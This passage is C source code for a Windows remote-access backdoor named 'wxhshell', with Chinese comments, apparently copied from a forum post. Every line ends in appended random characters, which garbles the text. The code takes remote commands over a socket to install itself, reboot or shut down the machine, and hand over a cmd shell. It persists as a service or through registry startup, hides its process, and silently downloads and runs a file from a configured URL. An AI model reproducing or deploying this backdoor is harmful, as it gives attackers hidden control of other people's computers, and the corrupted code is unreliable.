  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0n)99Osq(u  
  else vjz 'y[D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !+H)N  
  } s.IYPH|pn  
  else { G4jyi&]  
( C~ u.  
    switch(cmd[0]) { kes GwMr"e  
  {4^NZTjd@  
  // 帮助 G 5!J9@Yi  
  case '?': { j#rj_uP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m3']/}xHO  
    break; EpUBO}q]  
  } $)v`roDD.  
  // 安装 0=erf62=  
  case 'i': { y3Qb2l  
    if(Install()) ggL^*MV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '?O_(%3F0  
    else D3(rD]c0{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3`+Bq+  
    break; EFdo-.Ax  
    } CY</v,\:#  
  // 卸载 ,~nrNkhp  
  case 'r': { Cw$7d:u  
    if(Uninstall()) r- 8fvBZ5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )[np{eF.k  
    else {7Qj+e^  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yLgv<%8f  
    break; oU)Hco"_k  
    } 5i1E 5@~  
  // 显示 wxhshell 所在路径 Hpj7EaMZ_  
  case 'p': { A?+cdbxJw  
    char svExeFile[MAX_PATH]; g 5@P  
    strcpy(svExeFile,"\n\r"); ={G0p=~+,p  
      strcat(svExeFile,ExeFile); e$l*s/"0t  
        send(wsh,svExeFile,strlen(svExeFile),0); 8$~^-_>n/  
    break; &G$K. q  
    } Wo2W/{  
  // 重启 @aC9O 9|~  
  case 'b': { E5QQI9ea  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ZGsI\3S  
    if(Boot(REBOOT)) y"T(Unvc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KJYcP72P  
    else { H aA2y  
    closesocket(wsh); 12o6KVV^x  
    ExitThread(0); ?8-ho0f0  
    } aQHB  
    break; mhW*rH*m  
    } }Hy4^2B  
  // 关机 /*1p|c^  
  case 'd': { ! z6T_;s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vJ9IDc|[  
    if(Boot(SHUTDOWN)) /I48jO^2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {JlSfJw !  
    else { qtlcY8!  
    closesocket(wsh); L]Dq1q8`  
    ExitThread(0); A/TCJ#>l  
    } pB:/oHV  
    break; 0Z1';A3  
    } Id^)WEK4  
  // 获取shell ,(;]8G-Yj  
  case 's': { :y1,OR/k  
    CmdShell(wsh); #5yz~&  
    closesocket(wsh); HAmAmEc,  
    ExitThread(0); FjV)QP H  
    break; V/Q/Ujgg  
  } ((AIrE>Rr  
  // 退出 [9d4 0>e  
  case 'x': { `Rx\wfr}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %V|n2/O Y  
    CloseIt(wsh); /2>.*H_2  
    break; NnRX0]  
    } &a!MT^anA~  
  // 离开 !X4m6gRaP  
  case 'q': { CLgfNrW~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uN@El1ouY  
    closesocket(wsh); 9?tG?b0  
    WSACleanup(); p+#]Jr  
    exit(1); S0w:R:q}L  
    break; !:3X{)4  
        } V.}3d,Em%]  
  } YB]{gm2  
  } S+bpWA  
8 k )i-&R  
  // 提示信息 +'9E4Lpx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sf'uKSX1%  
} D}~uxw;[^  
  } !W/"Z!k  
^4Tf6Fw#  
  return; k!py*noy  
} a: 2ezxP  
_6.Y3+7I  
// shell模块句柄 |_m N:(3  
int CmdShell(SOCKET sock) Jd28/X5&  
{ w5`EJp8MC  
STARTUPINFO si; I9L7,~s  
ZeroMemory(&si,sizeof(si)); )x3p7t)#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W!V-m  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]([^(&2  
PROCESS_INFORMATION ProcessInfo; c0Yc~&RF  
char cmdline[]="cmd"; \: Q)X$6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -"6Z@8=  
  return 0; ^@f.~4P*I  
} heScIe N^`  
|ZG0E  
// 自身启动模式 [LM9^*sG2V  
int StartFromService(void) 1#KBf[0  
{ ^&KpvQNW_  
typedef struct ]Jo}F@\g  
{ @a (-U.CZ  
  DWORD ExitStatus; ldt]=Sqy  
  DWORD PebBaseAddress; AP+%T   
  DWORD AffinityMask; /vs79^&  
  DWORD BasePriority; Ch_eK^ g1  
  ULONG UniqueProcessId; ^$s&bH'8  
  ULONG InheritedFromUniqueProcessId; y I}>  
}   PROCESS_BASIC_INFORMATION; kD}vK+  
RT<HiVr`  
PROCNTQSIP NtQueryInformationProcess; >%LY0(hY3  
rgF4 W8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )]C(NTfxg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d:{}0hmxI  
S]Ye`  
  HANDLE             hProcess; 6&o?#l;|  
  PROCESS_BASIC_INFORMATION pbi; *p0Kw>  
Sym}#F\s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]]P@*4!  
  if(NULL == hInst ) return 0; 4"veqrC  
` <u2 N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U(2=fKK;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); o~M=o:^nH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ajW2HH*9}A  
?5;N=\GQ  
  if (!NtQueryInformationProcess) return 0; RZ|M;c  
C!U$<_I\2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); F+!9T  
  if(!hProcess) return 0; Q5HSik4  
\_x~lRqJJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  54#P  
c7D{^$L9 v  
  CloseHandle(hProcess); 1#9PE(!2  
S$ k=70H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <m~{60{  
if(hProcess==NULL) return 0; s8dP=_ `  
Z1_F)5pn  
HMODULE hMod; :eIQF7-  
char procName[255]; 0i>p1/kv  
unsigned long cbNeeded; ~ R eX$9  
>[l2KD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1A[(RT]  
VfwH:  
  CloseHandle(hProcess); 6!SW]#sD  
O8~RfB  
if(strstr(procName,"services")) return 1; // 以服务启动 =#vJqA  
_9'hmej  
  return 0; // 注册表启动 qWJHb Dd  
} V''fmWo7  
|g'ceG-  
// 主模块 3H|drj:KV  
int StartWxhshell(LPSTR lpCmdLine) ,(&Fb~r]  
{ Bj GfUQ  
  SOCKET wsl; q:=jv6T#  
BOOL val=TRUE; Dus!Ki~8(t  
  int port=0; ]Y@_2`  
  struct sockaddr_in door; jVh:Bw  
WF:4p]0~)  
  if(wscfg.ws_autoins) Install(); V9jxmu F,  
p`EgMzVO,  
port=atoi(lpCmdLine); xQl}~G]!  
&G?"I%Vw  
if(port<=0) port=wscfg.ws_port; }rUAYr~VZ  
iH~A7e62OZ  
  WSADATA data; 7$x%A&]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1OV] W f  
[SD mdr1T$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *Q#oV}D_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q]Kv.x]$R  
  door.sin_family = AF_INET; bGkLa/?S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); f8ZuG !U  
  door.sin_port = htons(port); #lc6-K#  
d2TIG<6/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w@Asz9Lq%  
closesocket(wsl); Z}{]/=h  
return 1; 5 D=r7  
} CM%;/[WBxy  
GFju:8P?  
  if(listen(wsl,2) == INVALID_SOCKET) { +o):grWvQ  
closesocket(wsl); jFip-=T{4  
return 1;  e<(6x[_  
} jGT|Xo>t  
  Wxhshell(wsl); hA;Ai:8  
  WSACleanup(); c,O;B_}M]  
+TX4,"  
return 0; pjl>ZoOM  
RR's W@  
} #c":y5:  
v+}${h9  
// 以NT服务方式启动 :LlZ#V2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) A}}dc:$C  
{ IZ\fvYp  
DWORD   status = 0; *}T|T%L4)  
  DWORD   specificError = 0xfffffff; 5SZa, +]  
f( Dtv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G:y+yE4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; W;l0GxOxQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qHtIjtt[q  
  serviceStatus.dwWin32ExitCode     = 0; Z} t^i^u  
  serviceStatus.dwServiceSpecificExitCode = 0; 0Lb{HLT  
  serviceStatus.dwCheckPoint       = 0; luyu7`  
  serviceStatus.dwWaitHint       = 0; ,p /{!BX  
|,~ )/o_R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); z' Z[mrLq  
  if (hServiceStatusHandle==0) return; :KR KD  
?#fm-5WIi  
status = GetLastError(); !|j|rYi-  
  if (status!=NO_ERROR) E m^Dg9  
{ hgzNEx%^q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; qozvNJm)  
    serviceStatus.dwCheckPoint       = 0; [S8*b^t4  
    serviceStatus.dwWaitHint       = 0; MT:VQ>f C  
    serviceStatus.dwWin32ExitCode     = status;  UO#`Ak  
    serviceStatus.dwServiceSpecificExitCode = specificError; e /1x/v'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +95v=[t#Ut  
    return; Yi)s=Q:  
  } :YOo"3.]  
%K.rrn M  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7!h> < sx  
  serviceStatus.dwCheckPoint       = 0; IF-y/]  
  serviceStatus.dwWaitHint       = 0; Jz3,vV fQ:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,,+4d :8$  
} 8ICV"8(  
6GPI gPL,  
// 处理NT服务事件,比如:启动、停止 wW/q#kc  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &CSy>7&q  
{ 3"< 0_3?W  
switch(fdwControl) %4Qs|CM)m  
{ {qbe ye!  
case SERVICE_CONTROL_STOP: 6y1\ar(A  
  serviceStatus.dwWin32ExitCode = 0; yTh%[k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cIG7 Q"4  
  serviceStatus.dwCheckPoint   = 0; "a}fwg9Y  
  serviceStatus.dwWaitHint     = 0; z6rT<~xZtu  
  { )7[#Ti  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u"m(a:jQ  
  } erbk (  
  return; rf%VSxD9  
case SERVICE_CONTROL_PAUSE: =6O*AJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -ucgET`  
  break; >T c\~l  
case SERVICE_CONTROL_CONTINUE: s;=C&N5g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -u4")V>  
  break; 2%6 >)|  
case SERVICE_CONTROL_INTERROGATE: {7c'%e  
  break; Ej 5_d  
}; bk;uKV+<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mo] l_'  
} EApbaS}Up  
U%q6n"[ Cr  
// 标准应用程序主函数 tl\<:8pI"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) { V[}#Mf  
{ ^G(Ee+PN@  
)wCNLi>4  
// 获取操作系统版本 T_=WX_h $  
OsIsNt=GetOsVer(); )7.DF|A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3Jt# Mp  
vJ=Q{_D=\  
  // 从命令行安装 CswKT 9  
  if(strpbrk(lpCmdLine,"iI")) Install(); i%i />;DF  
1JfZstT  
  // 下载执行文件 0Ci/-3HV!  
if(wscfg.ws_downexe) { N$IA~)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *B}O  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3 V>$H\H  
} H,5]w\R6\  
Cl9nmyf   
if(!OsIsNt) { ..+#~3es#y  
// 如果时win9x,隐藏进程并且设置为注册表启动 ' h<(  
HideProc(); gGUKB2)  
StartWxhshell(lpCmdLine); u:2Ll[ eo  
} ~6@`;s`[Y  
else  k4dC  
  if(StartFromService()) !|i #g$  
  // 以服务方式启动 ;H.V-~:P)  
  StartServiceCtrlDispatcher(DispatchTable);  Owi/e  
else ujS oWs  
  // 普通方式启动 MuQ)F-GSUu  
  StartWxhshell(lpCmdLine); _8 |X820  
i,a"5DR8  
return 0; Iia.`"S  
}
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只看该作者 1 发表于: 2006-10-10
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